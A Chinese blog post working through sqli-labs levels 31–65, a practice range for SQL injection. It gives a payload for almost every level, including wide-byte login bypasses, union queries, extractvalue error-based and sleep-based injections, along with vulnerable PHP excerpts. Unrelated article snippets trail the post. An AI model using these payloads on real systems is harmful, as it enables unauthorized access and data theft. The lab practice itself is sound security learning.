sqli靶场完结篇!!!!

news2024/11/15 4:52:09

靶场,靶场,一个靶场打一天,又是和waf斗智斗勇的一天,waf我和你拼啦!!

31.多个)号

先是一套基本的判断 ,发现是字符型,然后发现好像他什么都不过滤?于是开始poc

321313132"+union+select+2,user(),"2

于是你就会又见到熟悉的朋友,于是就能猜到又有)(这种东西

换句poc?发现就能成功bypasss

321313132")+union+select+2,user(),("2

32.宽字节注入

当我们添加一个' 就能看见这样的回显

那就想都不用想,就是宽字节注入,于是就猜测是不是字符型,其实如果他把注释符号也过滤了的话那就是绝杀了,但是好险他不过滤

于是我们就构造poc ,但是这里的盲注poc是不行的,因为会被转义 所以要联合查询

33.你三十二关再考我一次是吧?

这题还以为有什么过滤,结果发现和上一关一摸一样

                         玩我是吧

34.宽字节登录

首先我们能看见一个登录界面,不用想,肯定是要我们免密码登录

由于先测试一下注入的姿势,能发现是宽字节的过滤

于是就有poc:

admin%df'or+1=1--+

成功登录

35.why_care_for_addslahes()

做这题真就有种打ctf的感觉了,有意思       

首先一顿操作猛如虎,先加一个单引号,猜测是宽字节

然后就发现为啥啥都过滤但是却报错???

无意间我瞅了一眼网页标签,然后就就开始笑了,我们判断字符注入的方法是什么?你肯定会说

 :“单引号报错,两个引号不报错

不错,确实是这样的,但是对应宽字节呢??来看宽字节的绕过过程

  1. 原来:select * from users where id='1' ;
  2. 开始注入: select * from users where id='1 %df/ '  %df/'   ';
  3. 然后就会被解释成 select * from users where id='1運'  運'';

这是候的sql语句是肯定是错的 因为 中间多了一个中文字 所以我们根本无法根据报错来判断注入类型   也就是这个可能是字符型或者数字型!!!! 不信 不妨试试数字型的poc

0+union+select+1,database(),user()--+

所以这就是他的网页名的来由:why_care_addslashes的原因 与这个函数根本就没有关系!!

36.mysql_real_escape_string

这个函数和addslashes差不都是对一些特定的字符添加一个 / 并且拼接 ,所以他的poc和前面差不多,(或者说是一摸一样)

0%df'+union+select+1,user(),database()--+

37.你三十四关又又又考完一次是吧??

这个和三十四关又是一样的

我belike: 不多说,直接上poc

admin%df'+or+1=1--+

38.堆叠注入

这个我在我之前的blog里面讲过,就不多赘述了

39.堆叠注入但是数字型

这个其实就是堆叠注入的数字型 比字符型还简单 也不多赘述了

                        

40.Seems 这个代码有点问题??

做这一关的时候,小编是有一点疑惑,因为你会发现这一关的poc可以无限写

0')union+select+1,database(),user()--+
1')and+length(database())=8--+
0')union+select+1,user(),database()--+

你就会发现,他们都是可以的,难道这一关就止步于此???

于是就去看了一下他的源代码,发现好家伙,代码还不少,那不因该毫无新意啊!?

访问login.php,发现报错

于是我就发现问题出现在了login.php那里,一起来看代码

$login = sqllogin();
if (!$login== 0) 
{
	$_SESSION["username"] = $login;
	setcookie("Auth", 1, time()+3600);  /* expire in 15 Minutes */
	header('Location: logged-in.php');
} 
else
{
?>
<tr><td colspan="2" style="text-align:center;"><br/><p style="color:#FF0000;">
<center>
<img src="../images/slap1.jpg">
</center>
</p></td></tr>
<?PHP
} 

其中slap1.jpg就是我们看见的那张照片,所以可以知道$login=0,而$login又是通过sqllogin函数实现的,那么我们去看一下sqllogin函数就好

function sqllogin(){

   $username = mysql_real_escape_string($_POST["login_user"]);
   $password = mysql_real_escape_string($_POST["login_password"]);
   $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
   $res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
   $row = mysql_fetch_row($res);
	print_r($row) ;
   if ($row[1]) {
			echo $row[1];
   } else {
      		return 0;
   }

}

来审计一下代码:

  • 首先就是mysql_real_escape_string函数,用来将特殊字符转义
  • 接着就是查询
  • 如果查询成功就将得到的第一行结果输出,否则就输出You tried to be real smart, Try harder!!!! :(  然后结束程序
  • 但是如果我们的login_user和login_password不设置值的话就会返回0 也就是我们现在所看见的页面情况

所以就在url拼接login_user 和 login_password这两个字段就好

但是不难发现就算将这两个字段拼接上也好,也还是报错,因该是还缺了什么参数,不管了下一题

41.考了个啥,还是堆叠???

这道题也是做的云里雾里的,啥都不过滤,一句poc就注出来了

查看了源代码才发现原来是堆叠注入,那也不多赘述了

42.Password字段没有过滤

尝试一下,发现在账号处无论怎么测试都没有发现注入点,于是就去试一下密码处,成功报错

于是就开始我们的poc

password=1'+or+1='1 

其实这里也可以进行堆叠查询,因为这里也包含mysqli_mutil_query这个函数!!

43.还是多一个()

这题其实和上一题一模一样 就是多一个() 先上poc

password=admin')or+1=1--+

然后不知道你们会不会感到有点奇怪,对于拼接之后的那个句子结构

$sql = "SELECT * FROM users WHERE username=('111') and password=('admin') or 1=1 ";

于是我就去跑去问了一下chatgpt 结果他给到了我这样一个回答

admin'+or+1=1--+

soga~~~原来如此

44.和四十二关一样

不知道为什么他的答案和四十二关一样,那就直接上poc了

password=admin'+or+1=1--+

45.又是多个()

这个题思路和上一关一样,只不过得到的字段被()包裹,所以直接上poc

login_password=admin')or+1=1--+

46.报错,报错

这一题有点新颖,这种一看就知道是order by的查询语句

其实这种还挺难搞

  • 首先,它不能拼接select 这种语句,因为orderby 要放在句子的末尾
  • 然后,就是拼接 and 1=1 或者 and 1=2 这种语句对查询结果不影响 
  • 而且源代码里面还不存在堆叠注入的点

所以这里只能报错注入了,上poc

3+and+extractvalue(1,(concat(0x7e,(database()),0x7e)))--+

 

这样就能爆出他的数据库,如果它不返回报错信息的话那么就基本上不存在注入了

47.多了个' 号

这题其实就是和上面的那一题一样 只不过多一个 ' 而已

3'+and+extractvalue(1,(concat(0x7e,(database()),0x7e)))

48.盲注

这题更离谱,它直接啥都不给你了,于是可以盲注

3'+and+sleep(1)

但是我很好奇,就算盲注成功,那攻击者也获取不了它的数据库信息啊?所以这个sql注入有什么用????

                                

49.和上一关一样,但是字符型

这一关就和上一关一样,不过是字符型

50.可以堆叠,但是条件苛刻

这一关是可以进行堆叠注入的 ,但是你返回的值要满足这样

if ($result = mysqli_store_result($con1))
			{
				while($row = mysqli_fetch_row($result))
				{
					echo '<font color= "#00FF11" size="3">';		
					echo "<tr>";
					echo "<td>";
					printf("%s", $row[0]);
					echo "</td>";
					echo "<td>";
					printf("%s", $row[1]);
					echo "</td>";
					echo "<td>";
					printf("%s", $row[2]);
					echo "</td>";
					echo "</tr>";
					echo "</font>";		
				}

能成功地返回这样的结果,也可谓是十分困难了吧

51.我选择报错

这一关就直接报错注入就好了

1'and+extractvalue(1,(concat(0x7e,database(),0x7e)))--+

52.我选择延时注入

poc:

sort=1+and+sleep(1) 

53.我还是选择延时注入

poc:

1'+and+sleep(4324324342)--+

54.你能在十次以内做出来吗???

这个其实有点在故弄玄虚,其实就是一个普通的注入,不要想太多 poc:

111111'+union+select+1,database(),user()--+ 

 你怎么知道我刚好在第十次猜出来了哈哈哈

55. 正常注入

还是和上面一样多试试就出来了

32131313123122)%20union%20select%201,database(),user()--+

56.多一个 ' 无伤大雅

这个其实就是我们前面练的多的,不多说

)+union+select+1,user(),('1 

57.换成" 还是无伤大雅

不多说,救赎之道,就在标题 上poc

?id=3213113211"%20union+select%201,user(),database()--+

58.??再看多一眼??

这题一开始没做出来,去看了题解,才恍然大雾

$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
			$result=mysql_query($sql);
			$row = mysql_fetch_array($result);

			if($row)
			{
				echo '<font color= "#00FFFF">';	
				$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
				$pass = array_reverse($unames);
				echo 'Your Login name : '. $unames[$row['id']];
				echo "<br>";
				echo 'Your Password : ' .$pass[$row['id']];
				echo "</font>";

看似一切正常,啥都不过滤,但是细看发现:     
   你的输出是什么鬼?????

所以这里只能报错注入了

1' and extractvalue(1,(concat(0x7e,database(),0x7e))) --+

 59.数字型的58关

不多赘述 ,"救赎之道,就在标题 " 

60.变成了 ")

poc:

id=1")%20and%20extractvalue(1,(concat(0x7e,database(),0x7e)))%20--+

61.你没题出了是吧???

不多说,先来看看源码

$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";

 不是,出题人,你无聊是吧搞这些 给我弄两个括号,所以就能上poc了

id=1%27))and%20extractvalue(1,(concat(0x7e,(database()),0x7e)))--+

62.没有回显,但是延时注入

这一关是没有回显的,所以我们可以采用sleep来注入

id=1') and sleep(21)--+

63.还是62关,但是没有括号

这一关只是没有括号而已

?id=1%27and%20sleep(323)--+

64.又是))是吧???

这里的话就是还是有((这样的逆天玩意 ,所以我们直接上poc就好

?id=1))and%20if(length(database())=10,1,0)=1--+

65.完结撒花,但是有 "

这里也是不多说,直接上poc:

id=1")and%20if(length(database())=10,1,0)=1--+

终于,up的sqli靶场打完了 ,打的人都快麻了  ,先存一下小编的笔记,以后回来复习(如果记得的话)

        ​​​​​​​        ​​​​​​​        

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1440089.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Pycharm中以chrome打开HTML文件报错: Windows找不到文件‘Chrome‘

随笔记录 目录 1. 问题描述 2. 定位问题 3. 解决方法 3.1 获取Chrome 安装路径 3.2 修改Pycharm 中Chrome的配置 4. 校验结果 1. 问题描述 Pycharm中以chrome打开HTML文件报错&#xff1a;Windows 找不到文件chrome如图所示&#xff1a; 2. 定位问题 因为Pycharm中未设…

spring boot打完jar包后使用命令行启动,提示xxx.jar 中没有主清单属性

在对springBoot接口中间件开发完毕后&#xff0c;本地启动没有任何问题&#xff0c;在使用package命令打包也没异常&#xff0c;打完包后使用命令行&#xff1a;java -jar xxx.jar启动发现报异常&#xff1a;xxx.jar 中没有主清单属性&#xff0c;具体解决方法如下&#xff1a;…

算法随想录第五十二天打卡|300.最长递增子序列 , 674. 最长连续递增序列 , 718. 最长重复子数组

300.最长递增子序列 今天开始正式子序列系列&#xff0c;本题是比较简单的&#xff0c;感受感受一下子序列题目的思路。 视频讲解&#xff1a;动态规划之子序列问题&#xff0c;元素不连续&#xff01;| LeetCode&#xff1a;300.最长递增子序列_哔哩哔哩_bilibili 代码随想录…

c++二叉树寒假特训题目(1)答案你

大家好&#xff0c;我是周曦&#xff0c;今天给大家写了c二叉树寒假特训题目(1)的答案。 题目传送门 答案 二叉树存储 思路 存储部分可以用满二叉树的性质&#xff0c;设深度为k&#xff0c;那么一共有2的k次方减1个数&#xff0c;最多是1024个。计算与输出部分因为是满二…

跟着pink老师前端入门教程-day21+22

5.4 常见flex布局思路 5.5 背景线性渐变 语法&#xff1a; background: linear-gradient( 起始方向 , 颜色 1, 颜色 2, ...); background: -webkit-linear-gradient(left, red , blue); background: -webkit-linear-gradient(left top, red , blue); 背景渐变必须添加浏览…

vue项目打包部署到flask等后端服务里面,实现前后端不分离部署,解决空白页面和刷新页面not fount问题

1. 编译模式一定要设置为esnext&#xff0c;否则会报错&#xff1a; Strict MIME type checking is enforced for module scripts per HTML spec.Expected a JavaScript module script but the server responded with a MIME type of "text/plain". 具体解释可以看vi…

解决CORS错误(Spring Boot)

记录一下错误&#xff0c;以博客的形式 前言 跨域&#xff08;Cross-Origin&#xff09;是指在Web开发中&#xff0c;当一个Web应用试图从一个源&#xff08;域名、协议、端口组合&#xff09;获取资源时&#xff0c;该请求的目标与当前页面的源不同。具体来说&#xff0c;当一…

Docker容器监控-CIG

目录 一、CIG说明 1. CAdvisor 2. InfluxDB 3. Grafana 二、环境搭建 1. 创建目录 2. 编写 docker-compose.yml 3. 检查并运行容器 三、进行测试 1. 查看 influxdb 存储服务 是否能正常访问 2. 查看 cAdvisor 收集服务能否正常访问 3. 查看 grafana 展现服务&#…

Alt + TAB 禁止在 Edge 标签页之间切换

&#xff08;原文&#xff1a;https://blog.iyatt.com/?p13587 &#xff09; 浏览器标签页之间切换可以用 {Ctrl}{Tab} 或者 {Ctrl}{数字}精准到标签页码&#xff0c;结果 Windows 11 默认把 Edge 标签页切换混入了 {Alt}{Tab} 前台应用窗口切换&#xff0c;经常不注意是在 Ed…

2.8作业

程序代码&#xff1a; CCgcc EXEhello OBJS$(patsubst %.c,%.o,$(wildcard *.c)) CFLAGS-c -oall:$(EXE)$(EXE):$(OBJS)$(CC) $^ -o $%.o:%.c$(CC) $(CFLAGS) $ $^.PHONY:cleanclean:rm $(OBJS) $(EXE) 程序代码&#xff1a; #include<stdio.h> #include<string.h&…

跨境电商新风潮:充分发挥海外云手机的威力

在互联网行业迅速发展的大环境下&#xff0c;跨境电商、海外社交媒体营销以及游戏产业等重要领域都越来越需要借助海外云手机的协助。 特别是在蓬勃发展的跨境电商领域&#xff0c;像亚马逊、速卖通、eBay等平台&#xff0c;结合社交电商营销和短视频内容成为最有效的流量来源。…

什么是美颜SDK?直播美颜SDK的技术原理与应用

当下&#xff0c;美颜SDK的崛起成为了直播美颜的关键推动力。今天&#xff0c;小编将为大家讲解美颜SDK的概念、技术原理以及在直播应用中的广泛应用。 一、什么是美颜SDK&#xff1f; 美颜SDK是一种软件开发工具包&#xff0c;旨在为应用开发者提供一整套美颜算法和功能&…

Sklearn、TensorFlow 与 Keras 机器学习实用指南第三版(八)

原文&#xff1a;Hands-On Machine Learning with Scikit-Learn, Keras, and TensorFlow 译者&#xff1a;飞龙 协议&#xff1a;CC BY-NC-SA 4.0 第十八章&#xff1a;强化学习 强化学习&#xff08;RL&#xff09;是当今最激动人心的机器学习领域之一&#xff0c;也是最古老…

完全背包理论基础 C++力扣题目518--零钱兑换II

动态规划&#xff1a;完全背包理论基础 本题力扣上没有原题&#xff0c;大家可以去卡码网第52题 (opens new window) #思路 #完全背包 有N件物品和一个最多能背重量为W的背包。第i件物品的重量是weight[i]&#xff0c;得到的价值是value[i] 。每件物品都有无限个&#xff0…

【MySQL】学习和总结DCL的权限控制

&#x1f308;个人主页: Aileen_0v0 &#x1f525;热门专栏: 华为鸿蒙系统学习|计算机网络|数据结构与算法 ​&#x1f4ab;个人格言:“没有罗马,那就自己创造罗马~” #mermaid-svg-Bl9kYeLf8GfpdQgL {font-family:"trebuchet ms",verdana,arial,sans-serif;font-siz…

《动手学深度学习(PyTorch版)》笔记7.2

注&#xff1a;书中对代码的讲解并不详细&#xff0c;本文对很多细节做了详细注释。另外&#xff0c;书上的源代码是在Jupyter Notebook上运行的&#xff0c;较为分散&#xff0c;本文将代码集中起来&#xff0c;并加以完善&#xff0c;全部用vscode在python 3.9.18下测试通过&…

深度学习中常用激活函数介绍

深度学习中常用激活函数介绍 在深度学习中&#xff0c;激活函数的作用主要是引入非线性特性&#xff0c;提高模型的表达能力。具体如下&#xff1a; 解决线性不可分问题&#xff1a;激活函数可以将输入特征的复杂度提升&#xff0c;使得神经网络能够处理非线性问题&#xff0c…

OpenAI推出ChatGPT已经过去一年多了,AI 取代了内容创作者吗

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

【Python基础】案例分析:GDP分析

GDP分析 文章目录 GDP分析1 分析过程与目标1.1 数据来源1.2 熟悉数据 2 各国与地区GDP数据分析关系多源组成2.2 清洗数据2.3 设定分析目标 3 主要国家DGP分析3.1 主要国家GDP趋势3.2 1990年开始GDP对比 4 中国GDP分析4.1 从1990年开始GDP变化化4.2 中国GDP分析增长超过10%的年份…

C# 使用 MailKit 发送邮件(附demo)

C# 使用 MailKit 发送邮件&#xff08;附demo&#xff09; 介绍安装包&#xff08;依赖&#xff09;案例简单代码属性介绍&#xff1a;MailboxAddress属性介绍&#xff1a;BodyBuilderSMTP 服务器端口SSL的案例&#xff1a;非SSL&#xff1a; 介绍一下SMTP 介绍 MailKit 是一…